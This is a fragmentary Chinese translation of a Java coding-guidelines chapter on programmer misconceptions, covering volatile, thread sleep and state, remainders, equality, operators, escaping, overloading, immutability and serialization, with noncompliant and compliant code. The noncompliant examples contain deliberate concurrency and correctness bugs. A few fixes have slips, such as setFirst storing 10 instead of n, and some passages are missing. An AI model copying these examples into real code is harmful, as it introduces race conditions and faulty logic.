    {"text": "第5章 程序员的常见误解 第5章 程序员的常见误解 本章所列的指南主要集中在两个方面，一个是Java语言本身及其类库中，程序员经常做出错误假设的那些行为，另一个是会轻易引入歧义的那些特性。"},
    {"text": "指南66：不要假设使用volatile关键字声明引用可以保证引用所指对象的安全发布 根据Java语言规范的§8.3.1.4“volatile Fields”[JLS 2013]： 如果一个字段被声明为 volatile，那么意味着 Java 的内存模型会保证所有的线程看到的该字段的值都是一致的（§17.4）。 但是，使用volatile关键字仅能保证原生类型字段和对象引用的安全发布，也就是程序员经常所说的“成员对象”，而此处的volatile保障的可见性是针对对象引用的。"},
    {"text": "因此，把一个引用声明为volatile并不能保证，对该引用所指对象的修改会告知其他线程，这会导致线程可能无法获知另一个线程对成员字段所指对象的修改。"},
    {"text": "此外，当引用所指对象是可变对象，且代码缺乏线程安全性时，其他的线程就可能会看到未构造完全的或者处于非一致状态的（临时）对象[Goetz 2007]。"},
    {"text": "尽管如此，如果引用所指对象为不可变对象，那么仅把引用声明为volatile就可以满足线程安全需求。 最后再强调一次，程序员不能使用volatile关键字来保证可变对象的安全发布，volatile只能保证原生类型字段、对象引用以及不可变对象字段的安全发布。 对于volatile修饰的对象，程序员经常把对象本身的线程安全性和其成员变量的线程安全性弄混，这类错误和指南73中描述的错误很相似。"},
    {"text": "final class Foo { private volatile int[] arr = new int[20];public int getFirst() { return arr[0]; } public void setFirst(int n) { arr[0] = n; } // ... } 一个线程给数组对象添加了一个元素，比如调用了setFirst()方法，但是这次方法调用对别的正在调用getFirst()方法的线程可能是不可见的。"},
    {"text": "因此，当调用setFirst()方法的线程和调用getFirst()方法的线程之间没有先行发生（happens-before）的关系时，代码可能就会出现问题。 尽管在写volatile变量的线程和后续读取该变量的线程之间存在“先行发生”的关系，但是上面的代码中，setFirst()和getFirst()方法每次都是读取volatile变量（指向数组的引用），两者都没有修改volatile变量。"},
    {"text": "合规解决方案（AtomicIntegerArray） 为了保证对数组元素的写操作是原子的，且写结果对其他线程可见，下面的合规解决方案使用了java.util.concurrent.atomic包中的AtomicIntegerArray类。"},
    {"text": "final class Foo { private final AtomicIntegerArray atomicArray = new AtomicIntegerArray(20); public int getFirst() { return atomicArray.get(0); } public void setFirst(int n) { atomicArray.set(0, 10); } // ... } AtomicIntegerArray保证了调用 atomicArray.set()方法的线程和后续的调用atomicArray.get()方法的线程之间“先行发生”的关系。"},
    {"text": "合规解决方案（同步） 为了保证可见性，当访问器方法中有对非volatile数组元素的操作时，不管指向数组的引用是否有volatile修饰，都必须同步访问。"},
    {"text": "final class Foo { private int[] arr = new int[20]; public synchronized int getFirst() { return arr[0]; } public synchronized void setFirst(int n) { arr[0] = n; } } 基于同一个锁做同步的所有线程之间因为同步操作建立一个“先行发生”的关系。 在当前例子中，调用 setFirst()方法的线程和后续调用 getFirst()方法的线程都是以当前对象为锁进行同步的，因此可以保证代码的线程安全性。"},
    {"text": "final class Foo { private volatile Map<String, String> map; public Foo() { map = new HashMap<String, String>(); // Load some useful values into map } public String get(String s) { return map.get(s); } public void put(String key, String value) { // Validate the values before inserting if (!value.matches(\"[\\\\w]*\")) { throw new IllegalArgumentException(); } map.put(key, value); } } 交叉地调用get()方法和put()方法可能会从Map对象中获取到不一致的值，因为put()方法会修改map中的值。"},
    {"text": "违规代码示例（volatile读操作，同步写操作） 下面的违规代码示例想要使用 Java Theory and Practice [Goetz 2007]中提到的“volatile读操作，同步写操作”技术。"},
    {"text": "Foo类中的map字段被声明为volatile来同步对该字段的读写操作，另外，还给会修改 map 字段值的 put()方法添加了synchronized关键字以保证该方法执行的原子性。 final class Foo { private volatile Map<String, String> map; public Foo() { map = new HashMap<String, String>(); // Load some useful values into map } public String get(String s) { return map.get(s); } public synchronized void put(String key, String value) { // Validate the values before inserting if (!value.matches(\"[\\\\w]*\")) { throw new IllegalArgumentException(); } map.put(key, value); } } “volatile读操作，同步写操作”技术主要的作用是：既可以通过同步来保证复合操作的原子性（如自增操作），同时又能为只读操作提供更快的访问速度。"},
    {"text": "尽管如此，这项技术并不适用于可变对象，因为volatile提供的“线程发布安全性”只能保障字段本身（原生类型的值或对象引用），而引用所指向的对象并没有任何线程安全性的保障，对于该对象的内部成员则更是如此。"},
    {"text": "final class Foo { private final Map<String, String> map; public Foo() { map = new HashMap<String, String>(); // Load some useful values into map } public synchronized String get(String s) { return map.get(s); } public synchronized void put(String key, String value) { // Validate the values before inserting if (!value.matches(\"[\\\\w]*\")) { throw new IllegalArgumentException(); } map.put(key, value); } } 上面的代码中已没有必要把map字段声明为volatile，因为所有访问器方法都已经同步。"},
    {"text": "字段被声明为 final 是为了防止在引用所指的对象在初始化完成前被发布出去（更多信息参见“TSM03-J. Do not publish partially initialized objects”[Long 2012]）。"},
    {"text": "final class DateHandler { private static volatile DateFormat format = DateFormat.getDateInstance (DateFormat.MEDIUM); public static java.util.Date parse(String str) throws ParseException { return format.parse(str); } } 因为DateFormat不是线程安全的[API 2013]，所以parse()方法返回的Date值可能和str参数对应的时间不一致。"},
    {"text": "合规解决方案（每次调用创建一个实例/防御式复制） 下面的合规解决方案每次调用parse()方法都会创建一个新的DateFormat实例[API 2013]。 final class DateHandler { public static java.util.Date parse(String str) throws ParseException { return DateFormat.getDateInstance(DateFormat.MEDIUM).parse(str); } } 合规解决方案（同步） 在下面的合规解决方案中，parse()方法使用了同步语句（synchronized）来保障DateHandler的线程安全[API 2013]。 final class DateHandler { private static DateFormat format = DateFormat.getDateInstance(DateFormat.MEDIUM); public static java.util.Date parse(String str) throws ParseException { synchronized (format) { return format.parse(str); } } } 合规解决方案（ThreadLocal存储） 下面的合规解决方案使用ThreadLocal对象为每个线程创建了一个独立的DateFormat实例。 final class DateHandler { private static final ThreadLocal<DateFormat> format = new ThreadLocal<DateFormat>() { @Override protected DateFormat initialValue() { return DateFormat.getDateInstance(DateFormat.MEDIUM); } }; // ... } 适用性 错误地假设volatile关键字对引用所指的对象或本身内部成员的线程安全保障，可能会导致程序观察到怪异的值或者不一致的值。"},
    {"text": "参考文献 [API 2013] Class DateFormat [Goetz 2007] Pattern 2, “One-Time Safe Publication” [JLS 2013] §8.3.1.4, “volatile Fields” [Long 2012] OBJ05-J. Defensively copy private mutable class members before returning their references TSM03-J. Do not publish partially initialized objects VNA02-J. Ensure that compound operations on shared variables are atomic [Miller 2009] “Mutable Statics” 指南67：不要假设sleep()、yield()或getState()方法提供了同步语义 根据Java语言规范，§17.3，“Sleep and Yield”[JLS 2013]： Thread.sleep 方法和 Thread.yield 方法都没有提供任何同步语义，知道这一点非常重要。"},
    {"text": "尤其是，在调用这两个方法之前，编译器不保证一定会把线程寄存器中的缓存值写回共享内存； 在调用这两个方法之后，编译器也不保证会把共享内存中的值重新加载到线程寄存器中。"},
    {"text": "final class ControlledStop implements Runnable { private boolean done = false; @Override public void run() { while (!done) { try { Thread.sleep(1000); } catch (InterruptedException e) { // Reset interrupted status Thread.currentThread().interrupt(); } } } public void shutdown() { this.done = true; } } 在上面的场景中，编译器可能只会读一次this.done的值，然后在后续的循环执行中反复使用缓存中的值。"},
    {"text": "final class ControlledStop implements Runnable { private volatile boolean done = false; @Override public void run() { // ... } // ... } 代码中的volatile关键字在读取字段done的线程和写字段done的线程之间建立了一个“先行发生”的关系。"},
    {"text": "合规解决方案（Thread.interrupt()） 想要唤醒一个因调用 sleep()方法处于休眠状态的线程，更好的方法是使用线程中断，线程一旦发生中断会被立即唤醒，处理中断操作。"},
    {"text": "final class ControlledStop implements Runnable { @Override public void run() { // Record current thread so others can interrupt it myThread = currentThread(); while (!Thread.interrupted()) { try { Thread.sleep(1000); } catch (InterruptedException e) { Thread.currentThread().interrupt(); } } } public void shutdown(Thread th) { th.interrupt(); } } 注意，该解决方案中，中断线程的调用方必须要知道需要中断的是哪一个线程，关于线程的追踪逻辑在本解决方案中省略了。"},
    {"text": "违规代码示例（Thread.getState()） 在下面的违规代码示例中，doSomething()方法新起了一个线程，该线程通过检查flag标志位打断线程并在收到通知前一直等待。"},
    {"text": "stop()方法则检查线程是否被阻塞在等待状态，如果是，则将标志位flag置为true并通知所有被阻塞线程，这样被阻塞线程就可以继续执行直到结束了。 public class Waiter { private Thread thread; private boolean flag; private final Object lock = new Object(); public void doSomething() { thread = new Thread(new Runnable() { @Override public void run() { synchronized (lock) { while (!flag) { try { lock.wait(); // ... } catch (InterruptedException e) { // Forward to handler } } } } }); thread.start(); } public boolean stop() { if (thread != null) { if (thread.getState() == Thread.State.WAITING) { synchronized (lock) { flag = true; lock.notifyAll(); } return true; } } return false; } } 遗憾的是，stop()方法错误地使用了Thread.getState()方法来判断线程是否处于阻塞状态，因此线程永远都无法收到通知，也就无法终止。 使用Thread.getState()方法做同步控制，比方说判断线程是否处于阻塞状态，是不恰当的。"},
    {"text": "因此，线程可以被阻塞，但却不是处于WAITING或TIMED_WAITING状态[Goetz 2006]。 这样线程就可能永远都不会达到WAITING状态，stop()方法也就无法终止这个线程。"},
    {"text": "当doSomething()和stop()方法分别被不同的线程调用时，如果这两个方法的调用之间没有“先行发生”的关系，那么 stop()方法可能发现不了在doSomething()方法中创建的线程，即使doSomething()方法先于stop()方法被调用也不行。 当这两个方法的调用处于同一个线程中时，它们之间就有了一个天然的“先行发生”关系，也就不会遇到上面提到的问题。"},
    {"text": "合规解决方案 下面的合规解决方案移除了判断线程是否是否处于WAITING状态的检查，这个检查根本没必要，因为notifyAll()方法只会影响那些因调用wait()方法被阻塞的线程。"},
    {"text": "public class Waiter { // . . . private Thread thread; private volatile boolean flag; private final Object lock = new Object(); public boolean stop() { if (thread != null) { synchronized (lock) { flag = true; lock.notifyAll(); } return true; } return false; } } 适用性 依赖于线程类的sleep()、yield()和getState()方法做同步控制可能导致非期望的行为。"},
    {"text": "参考文献 [Goetz 2006] [JLS 2013] §17.3, “Sleep and Yield” 指南68：不要假设对整数做取余运算总是返回正整数 根据Java语言规范的§15.17.3“Remainder Operator %”[JLS 2013]： 对于那些经过二元数字提升（§5.6.2）之后可以转化为整数的操作数，对它们做取余运算得到的结果值，是类似(a/b)\\*b+(a%b) = a这样的。"},
    {"text": "取余运算的结果值的正负和被除数（表达式的第一个操作数）的一致： 5 % 3 produces 2 5 % (-3) produces 2 (-5) % 3 produces -2 (-5) % (-3) produces -2 因此，那些假设取余运算的结果值永远都为正数的代码是错误的。"},
    {"text": "private int SIZE = 16; public int[] hash = new int[SIZE]; public int lookup(int hashKey) { return hash[hashKey % SIZE]; } 当hashKey的值为负数时，可能导致hashKey % SIZE的结果值为负数，这将导致 lookup()方法抛出一个 java.lang.ArrayIndexOutOfBoundsException异常。"},
    {"text": "// Method imod() gives nonnegative result private int SIZE = 16; public int[] hash = new int[SIZE]; private int imod(int i, int j) { int temp = i % j; // Unary minus will succeed without overflow // because temp cannot be Integer.MIN_VALUE return (temp < 0) ? -temp : temp; } public int lookup(int hashKey) { return hash[imod(hashKey, SIZE)]; } 适用性 错误地假设取余运算永远都返回正余数会导致错误的代码。"},
    {"text": "参考文献 [JLS 2013] §15.17.3, “Remainder Operator %” 指南69：不要弄混抽象对象的相等性和引用的相等性 Java 中定义了相等运算符==和!=来测试引用的相等性，但是对于对象来说，则是使用的Object类或其子类中定义的equals()方法来测试对象的相等性。 一些初级的程序员经常会把==运算符和 Object.equals()方法的作用弄混。"},
    {"text": "另外，对于那些要求覆盖默认的equals()实现的类，一定要把 hashCode()方法也一起覆盖（参见《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“MET09-J. Classes that define an equals() method must also define a hashCode() method”）。"},
    {"text": "但是除了等于之外的数字关系运算符（如<、<=、>和>=）仍然可以安全地使用（更多相关信息参见“EXP03-J.Do not use the equality operators when comparing values of boxed primitives”[Long 2012]）。"},
    {"text": "public class StringComparison { public static void main(String[] args) { String str1 = new String(\"one\"); String str2 = new String(\"one\"); System.out.println(str1 == str2); // Prints \"false\" } } 引用相等运算符==只有在两个引用指向同一个对象时才会返回true，上面代码示例中的两个引用是不相等的，因为它们指向了不同的对象。"},
    {"text": "合规解决方案（Object.equals()） 下面的合规解决方案使用了Object.equals()方法来比较两个字符串的值。 public class StringComparison { public static void main(String[] args) { String str1 = new String(\"one\"); String str2 = new String(\"one\"); System.out.println(str1.equals(str2)); // Prints \"true\" } } 合规解决方案（String.intern()） 当比较的是字符串通过调用 String.intern()方法得到的返回值时，使用==运算符得到的结果和使用Object.equals()方法得到的一致。 下面的合规解决方案就使用了 String.intern()方法，并且在字符串one只需要被加载到内存中一次时，还能执行快速字符串比较。 public class StringComparison { public static void main(String[] args) { String str1 = new String(\"one\"); String str2 = new String(\"one\"); str1 = str1.intern(); str2 = str2.intern();System.out.println(str1 == str2); // Prints \"true\" } } 只有在字符串操作导致了非常严重的性能问题或者是真的可以极大简化代码时，才应该使用String.intern()方法。"},
    {"text": "Java语言规范中对String.intern()方法做了一些保证，例如： String.intern()的性能消耗和临时字符串的长度成正比，性能不应低于O(n log n)，但是需要注意的是，Java语言规范没有对性能做强制要求。"},
    {"text": "在JDK 1.7之前的JVM实现中，临时字符串分配在permgen存储区域中，这个区域只占堆内存的一小部分，因此，一旦产生大量的临时字符串就会导致内存溢出。 但是在很多的Java 1.7的实现中，临时字符串都被分配到了堆空间中，移除了这个限制。 但是，同样的， 具体如何分配临时字符串并没有在Java语言规范中做强制要求，因此每个实现可能各不相同。"},
    {"text": "参考文献 [Bloch 2008] Item 69, “Prefer Concurrency Utilities to wait and notify” [FindBugs 2008] ES, “Comparison of String Objects Using==or!=” [JLS 2013] §3.10.5, “String Literals” §5.6.2, “Binary Numeric Promotion” [Long 2012] EXP03-J.Do not use the equality operators when comparing values of boxed primitives MET09-J. Classes that define an equals() method must also define a hashCode() method 指南70：理解按位运算符和逻辑运算符之间的差异 条件“与”（AND）运算符（&&）和条件“或”（OR）运算符（||）都有断路（short-circuiting）行为。"},
    {"text": "和大部分的Java运算符一样，这两个运算符两边的操作数都会执行，这两个运算符最终返回的布尔结果值分别和使用&&和||一样，但是这两个表达式执行的整体效果不会因为操作数的顺序发生改变，另外，第二个操作数的副作用也不会丢失。 因此，尽管&和&&运算符都可以用于计算布尔值的逻辑运算，但是，有些程序更倾向于有断路行为，有些程序却会因为断路行为导致奇怪的缺陷。"},
    {"text": "int array[]; // May be null int i; // May be an invalid index for array if (array != null & i >= 0 & i < array.length & array[i] >= 0) { // Use array } else { // Handle error } 代码中还是会出现它原本想要避免的错误。 当数组array为NULL，或者i为一个无效的下标时，指向array的引用和array[i]会抛出NullPointerException或ArrayIndexOutOfBounds Exception异常。"},
    {"text": "这个异常的发生是因为&运算符没能阻止程序对右边操作数的计算，即当左边的操作数已经足以确定表达式的结果值时，还是计算了右边的操作数。"},
    {"text": "int array[]; // May be null int i; // May be an invalid index for array if (array != null && i >= 0 && i < array.length && array[i] >= 0) { // Handle array } else { // Handle error } 合规解决方案（嵌套的if语句） 下面的合规解决方案使用了多个if语句来达到想要的效果。 int array[]; // May be null int i; // May be a valid index for array if (array != null) { if (i >= 0 && i < array.length) { if (array[i] >= 0) { // Use array } else { // Handle error } } else { // Handle error } } else { // Handle error } 上面的代码尽管逻辑上是正确的，但是显得非常的啰嗦，而且增加了维护的难度。"},
    {"text": "违规代码示例（不当使用&&） 下面的违规代码示例比较了两个数组在某个下标范围内的成员值是否相等，i1和i2分别为array1和array2的有效下标值。"},
    {"text": "if (end1 >= 0 & i2 >= 0) { int begin1 = i1; int begin2 = i2; while (++i1 < array1.length && ++i2 < array2.length && array1[i1] == array2[i2]) { // Arrays match so far } int end1 = i1; int end2 = i2; assert end1 - begin1 == end2 - begin2; } 这段代码中的问题是，当while条件语句中的第一个条件判断失败时，后面的两个条件语句都不会执行，也就是说，当i1==array1.length时，执行完++i1，循环就结束了，++i2得不到执行。"},
    {"text": "public void exampleFuntion() { while (++i1 < array1.length & // Not && ++i2 < array2.length && array1[i1] == array2[i2]){ // Do something } } 适用性 错误地理解按位运算符和条件运算符的行为会导致非期望的程序行为。"},
    {"text": "参考文献 [Flanagan 2005] §2.5.6., “Boolean Operators” [JLS 2013] §15.23, “Conditional-And Operator&&” §15.24, “Conditional-Or Operator ||” 指南71：理解加载字符串时如何做特殊字符转义 很多类都允许在字符文字或者字符串文字中包含转义序列，比如 Java.util. regex.Pattern类，以及那些“通过接收字符串参数的方法来支持XML和SQL处理”的类。"},
    {"text": "根据Java语言规范的§3.10.6“Escape Sequences for Character and String Literals”[JLS 2013]： 字符和字符串转义序列允许在字符文字（§3.10.4）和字符串文字（§3.10.5）中展示一些非图形化的字符，如单引号、双引号和反斜杠。 对于程序员来说，要想在字符串文字中正确地使用转义序列，必须能够正确地理解Java编译器以及一些从属的处理器（如SQL引擎）是如何处理转义序列的。 SQL语句在某些场景下可能需要转义序列（如包含\\t、\\n、\\r的字符序列），如向数据库中存储原始文本时。 当在Java字符串文字中表示SQL语句时，每一个转义序列都必须加一个额外的反斜杠以保证文本被正确地解析。"},
    {"text": "当需匹配的模式字符串包含了Java的转义序列时，比如连续的两个字符“\\”和“n”，Java编译器会把这两个字符当作 Java 转义序列，然后把其解析为换行符，而不是字面上的“\\n”。"},
    {"text": "通常来说，对于\\X形式的特殊字符，其对应的Java表示形式都是： \\\\X 违规代码示例（字符串文本） 下面的违规代码示例定义了一个 splitWords()方法，该方法的作用是找出输入字符串input和字符串变量 WORDS 的文本值之间的正则匹配，方法期望 WORDS是一个代表单词边界的转义序列。"},
    {"text": "public class Splitter { // Interpreted as backspace // Fails to split on word boundaries private final String WORDS = \"\\b\"; public String[] splitWords(String input){ Pattern pattern = Pattern.compile(WORDS); String[] input_array = pattern.split(input); return input_array; } } 合规解决方案（字符串文本） 下面的合规解决方案展示了 WORDS 应该使用的字符串值，这样就可以构造一个根据单词边界拆分字符串的正则表达式。 public class Splitter { // Interpreted as two chars, '\\' and 'b' // Correctly splits on word boundaries private final String WORDS = \"\\\\b\"; public String[] split(String input){ Pattern pattern = Pattern.compile(WORDS); String[] input_array = pattern.split(input); return input_array; } } 违规代码示例（字符串属性） 下面的违规代码示例定义和上一个示例相同的方法splitWords()，只是这次WORDS的值是从一个外部属性文件中加载进来的。 public class Splitter { private final String WORDS; public Splitter() throws IOException { Properties properties = new Properties(); properties.load(new FileInputStream(\"splitter.properties\")); WORDS = properties.getProperty(\"WORDS\"); } public String[] split(String input){ Pattern pattern = Pattern.compile(WORDS); String[] input_array = pattern.split(input); return input_array; } } 在属性文件中，WORDS属性的值再一次被错误地设置为'\\b'： WORDS=\\b Properties.load()方法读取WORDS属性得到的值为单字符b，这将导致split()方法基于字符b对字符串进行拆分。"},
    {"text": "参考文献 [API 2013] Class Pattern, “Backslashes,Escapes,and Quoting” Package java.sql [JLS 2013] §3.10.6, “Escape Sequences for Character and String Literals” 指南72：不要使用重载的方法来区分运行时类型 Java支持使用不同的签名来重载方法。"},
    {"text": "因此，在某些情况下，一个类中可能会有些方法，方法名相同，但是参数列表不同，当有重载方法时，代码具体调用哪一个方法在编译时就已确定，因此，方法会根据对象的静态类型来调用对应的重载方法，即使在每次调用时的运行时类型有所不同也不会产生任何影响。"},
    {"text": "违规代码示例 下面的违规代码示例重载了 display()方法，目的是当参数类型为 ArrayList<Integer>或LinkedList<String>时，代码能够做针对性的处理。 public class Overloader { private static String display(ArrayList<Integer> arrayList) { return \"ArrayList\"; } private static String display(LinkedList<String> linkedList) { return \"LinkedList\"; } private static String display(List<?> list) { return \"List is not recognized\"; } public static void main(String[] args) { // Single ArrayList System.out.println(display(new ArrayList<Integer>())); // Array of lists List<?>[] invokeAll = new List<?>[] { new ArrayList<Integer>(), new LinkedList<String>(), new Vector<Integer>()}; for (List<?> list : invokeAll) { System.out.println(display(list)); } } } 在编译时，对象数组invokeAll中的元素类型为List。 代码期望的输出是ArrayList、ArrayList、LinkedList、List is not recognized（因为java.util.Vector既不是 ArrayList 也不是LinkedList）。 但实际的输出为ArrayList、List is not recognized、List is not recognized、List is not recognized。"},
    {"text": "导致这个异常行为的原因是，对重载方法的调用仅由编译时的参数类型决定：第一次调用dsplay()方法时参数为ArrayList，后面的调用中参数类型都为List。"},
    {"text": "public class Overloader { private static String display(List<?> list) { return ( list instanceof ArrayList ? \"Arraylist\" : (list instanceof LinkedList ? \"LinkedList\" : \"List is not recognized\") ); } public static void main(String[] args) { // Single ArrayList System.out.println(display(new ArrayList<Integer>())); List<?>[] invokeAll = new List<?>[] { new ArrayList<Integer>(), new LinkedList<String>(), new Vector<Integer>()}; for (List<?> list : invokeAll) { System.out.println(display(list)); } } } 适用性 歧义重载会导致非期望的结果。"},
    {"text": "参考文献 [API 2013] Interface Collection<E> [Bloch 2008] Item 41, “Use Overloading Judiciously” [Tutorials 2013] Defining Methods 指南73：不要弄混引用的不可变性和对象的不可变性 不可变性可以有效地支持程序的安全性，程序可以放心地把不可变对象共享给任何接收者，不用担心被接收者修改[Mettler 2010]。"},
    {"text": "程序员经常错误地认为：只要把一个字段或变量设置为final就可以保证其指向的对象不可变。 当变量的类型为原生类型时，把变量声明为final的确可以保证变量初始化之后不会被修改（通过正常Java处理）。 然而，当变量是一个引用类型时，将其声明为final只能保证引用本身的不变性，对于引用所指向的对象并没有任何作用。"},
    {"text": "例如，根据Java语言规范的§4.12.4“final Variables”[JLS 2013]： 如果一个 final 变量是指向某个对象的引用，那么引用所指的对象的状态是可以通过操作对象改变的，但引用本身永远都是指向同一个对象。"},
    {"text": "即使指向数组的引用是 final的，数组中的元素仍然可能被一些针对数组的操作改变，只是引用永远都是指向同一个数组对象。 类似的，final的方法参数是一个对象引用的不可变副本，再次强调，这的不可变性对引用指向的对象没有任何的作用。 违规代码示例（可变类，final引用） 在下面的违规代码示例中，程序员声明了一个指向Point实例的引用point， point被声明为final，期望的效果是——能够保证Point实例的变量x和y的值不会被修改。 但实际的效果是Point实例的变量x和y的值在初始化之后仍然可以被修改，因为final关键字只能保证point引用永远指向同一个Point实例，对Point实例的实例变量是否被修改没有任何保证。 class Point { private int x; private int y; Point(int x, int y) { this.x = x; this.y = y; } void set_xy(int x, int y) { this.x = x; this.y = y; } void print_xy() { System.out.println(\"the value x is: \" + this.x); System.out.println(\"the value y is: \" + this.y); } } public class PointCaller { public static void main(String[] args) { final Point point = new Point(1, 2); point.print_xy(); // Change the value of x, y point.set_xy(5, 6); point.print_xy(); } } 合规解决方案（final字段） 如果想保证实例变量x和y的值在初始化以后就不会改变，那么应该把这些实例变量声明为final。"},
    {"text": "不过，这样修改之后，set_xy()方法也就无效了，因为x和y的值已经不能被修改了。 class Point { private final int x; private final int y; Point(int x, int y) { this.x = x; this.y = y; } void print_xy() { System.out.println(\"the value x is: \" + this.x); System.out.println(\"the value y is: \" + this.y); } // set_xy(int x, int y) no longer possible 这样修改之后，实例变量x和y的值在初始化之后就不能再修改了，达到了程序员想要的效果。"},
    {"text": "final public class Point implements Cloneable { private int x; private int y; Point(int x, int y) { this.x = x; this.y = y; } void set_xy(int x, int y) { this.x = x; this.y = y; } void print_xy() { System.out.println(\"the value x is: \"+ this.x); System.out.println(\"the value y is: \"+ this.y); } public Point clone() throws CloneNotSupportedException { Point cloned = (Point) super.clone(); // No need to clone x and y as they are primitives return cloned; } } public class PointCaller { public static void main(String[] args) throws CloneNotSupportedException { Point point = new Point(1, 2); // Is not changed in main() point.print_xy(); // Get the copy of original object Point pointCopy = point.clone(); // pointCopy now holds a unique reference to the newly cloned Point instance// Change the value of x,y of the copy pointCopy.set_xy(5, 6); // Original value remains unchanged point.print_xy(); } } clone()方法返回了原始对象的副本，该副本拥有克隆时原始对象的所有状态，对新的副本对象的修改不会对原始对象产生任何影响，因为调用者仅仅持有新创建的副本的引用，如果没有调用者的合作，原始对象的实例变量不能被改变。"},
    {"text": "） 另外，Point类还需被声明为final类，这可以防止子类覆盖clone()方法，从而保证类可以安全放心地交给任何代码使用，而不用担心对原始对象产生任何影响。"},
    {"text": "违规代码示例（数组） 下面的违规代码示例使用了public static final关键字来定义字符串数组items： public static final String[] items = {/* . . . */}; 尽管数组的引用items被声明为final以防止对引用的修改，但是客户端可以很轻易地修改数组的内容。"},
    {"text": "private static final String[] items = {/* . . . */}; public static final String getItem(int index) { return items[index]; } public static final int getItemCount() { return items.length; } 提供方法直接访问数组内容本身在这个场景下是安全的，因为String类是不可变的。"},
    {"text": "private static final String[] items = {/* . . . */}; public static final String[] getItems() { return items.clone(); } 因为方法返回的是数组的副本，所以客户端的修改不会影响到原来的数组值。"},
    {"text": "注意，在处理数组对象时可能需要手工深度复制，尤其是当对象没有提供 clone()方法时，更多信息请参考“OBJ06-J. Defensively copy mutable inputs and mutable internal components”[Long 2012]。"},
    {"text": "private static final String[] items = {/* . . . */}; public static final List<String> itemsList = Collections.unmodifiableList (Arrays.asList(items)); 这个解决方案中，客户端既不能修改private变量items，也不能修改public变量itemsList。"},
    {"text": "参考文献 [Bloch 2008] Item 13, “Minimize the Accessibility of Classes and Members” [Core Java 2003] Chapter 6, “Interfaces and Inner Classes” [JLS 2013] §4.12.4, “final Variables” §6.6, “Access Control” [Long 2012] OBJ04-J. Provide mutable classes with copy functionality to safely allow passing instances to untrusted code OBJ06-J. Defensively copy mutable inputs and mutable internal components [Mettler 2010] “Class Properties for Security Review in an Object-Capability Subset of Java” 指南74：谨慎使用序列化方法 writeUnshared()和readUnshared() 当对象使用writeObject()方法进行序列化时，每个对象只会被写到输出流中一次。"},
    {"text": "在同一个对象上第二次调用writeObject()会重新获取到上一次写入输出流中的那个对象。 同样的，readObject()方法为输入流中每一个对象最多产生一个实例，这些对象通常是之前调用writeObject()方法写入的。 根据Java API[API 2013]，writeUnshared()方法： 将“非共享”对象写入 ObjectOutputStream。 此方法等同于writeObject，只是它总是将给定对象作为流中唯一的新对象进行写入（相对于指向以前序列化实例的back引用而言）。 同样的，readUnshared()方法： 从 ObjectInputStream 中读取“非共享”对象。 此方法等同于readObject，只是它可以防止后续的readObject调用和readUnshared调用引用到这次调用得到的对象。"},
    {"text": "请看下面的代码示例： public class Person { private String name; Person() { // Do nothing – needed for serialization } Person(String theName) { name = theName; } // Other details not relevant to this example } public class Student extends Person implements Serializable { private Professor tutor; Student() { // Do nothing – needed for serialization } Student(String theName, Professor theTutor) { super(theName); tutor = theTutor; } public Professor getTutor() { return tutor; } } public class Professor extends Person implements Serializable { private List<Student> tutees = new ArrayList<Student>(); Professor() { // Do nothing – needed for serialization } Professor(String theName) { super(theName); } public List<Student> getTutees () { return tutees; } /** * checkTutees checks that all the tutees * have this Professor as their tutor */ public boolean checkTutees () { boolean result = true; for (Student stu: tutees) { if (stu.getTutor() != this) { result = false; break; } } return result; } } // ... Professor jane = new Professor(\"Jane\"); Student able = new Student(\"Able\", jane); Student baker = new Student(\"Baker\", jane); Student charlie = new Student(\"Charlie\", jane); jane.getTutees().add(able); jane.getTutees().add(baker); jane.getTutees().add(charlie); System.out.println(\"checkTutees returns: \" + jane.checkTutees()); // Prints \"checkTutees returns: true\" Professor和Student都继承自Person。"},
    {"text": "一个学生（即一个Student实例）有一个导师（即一个Professor实例），一个教授（即一个Professor实例）有一个学生（tutee）列表（数组列表）。"},
    {"text": "这种情况下，调用writeUnshared()方法或者readUnshared()方法处理这些类就会有问题，就如下面的违规代码示例中所演示的那样。 违规代码示例 下面的违规代码示例尝试使用writeUnshared()方法序列化数据。"},
    {"text": "String filename = \"serial\"; try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream (filename))) { // Serializing using writeUnshared oos.writeUnshared(jane); } catch (Throwable e) { // Handle error } // Deserializing using readUnshared try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream (filename))){ Professor jane2 = (Professor)ois.readUnshared(); System.out.println(\"checkTutees returns: \" + jane2.checkTutees()); } catch (Throwable e) { // Handle error } 当使用readUnshared()方法反序列化得到对象之后，对该对象调用checkTutees()方法将不再返回true，因为三个学生中的tutor对象和原先的Professor对象已经不是同一个了。 合规解决方案 下面的合规解决方案使用了writeObject()和readObject()方法来保证3个学生中的tutor对象和原先的 Professor对象形成一对一的关系。"},
    {"text": "String filename = “serial”; try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream (filename))) { // Serializing using writeUnshared oos.writeObject(jane); } catch (Throwable e) { // Handle error } // Deserializing using readUnshared try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream (filename))) { Professor jane2 = (Professor)ois.readObject(); System.out.println(\"checkTutees returns: \" + jane2.checkTutees()); } catch (Throwable e) { // Handle error } 适用性 对于那些包含有引用循环的数据结构，使用 writeUnshared()方法和readUnshared()方法做序列化和反序列化，可能会导致错误的结果。"},
    {"text": "参考文献 [API 2013] Class ObjectOutputStream Class ObjectInputStream 指南75：不要试图通过把本地引用变量设置为null来帮助垃圾收集器 想通过主动把本地引用变量设置为null来“帮助垃圾收集器”更快地回收对象是完全没必要的，这样做只会使代码混乱，增加维护难度。"},
    {"text": "另一个相关的糟糕实践是使用析构函数把引用置为 null，更多详细信息参见《The CERT ® Oracle ® Secure Coding Standard for Java™》[Long 2012]的“MET12-J. Do not use finalizers”。"},
    {"text": "在那些需要这种控制的不常见场景下，可以使用逻辑语法块来限制局部变量的作用域，因为垃圾收集器的运行机制是：一旦程序出了某个作用域之后，会马上回收该作用域中的局部变量[Bloch 2008]。"},
    {"text": "{ // Limit the scope of buffer int[] buffer = new int[100]; doSomething(buffer); } 适用性 对于不再需要的本地引用变量， 显式地把其置为null以帮助垃圾收集器回收对应的内存是毫无必要的。"},
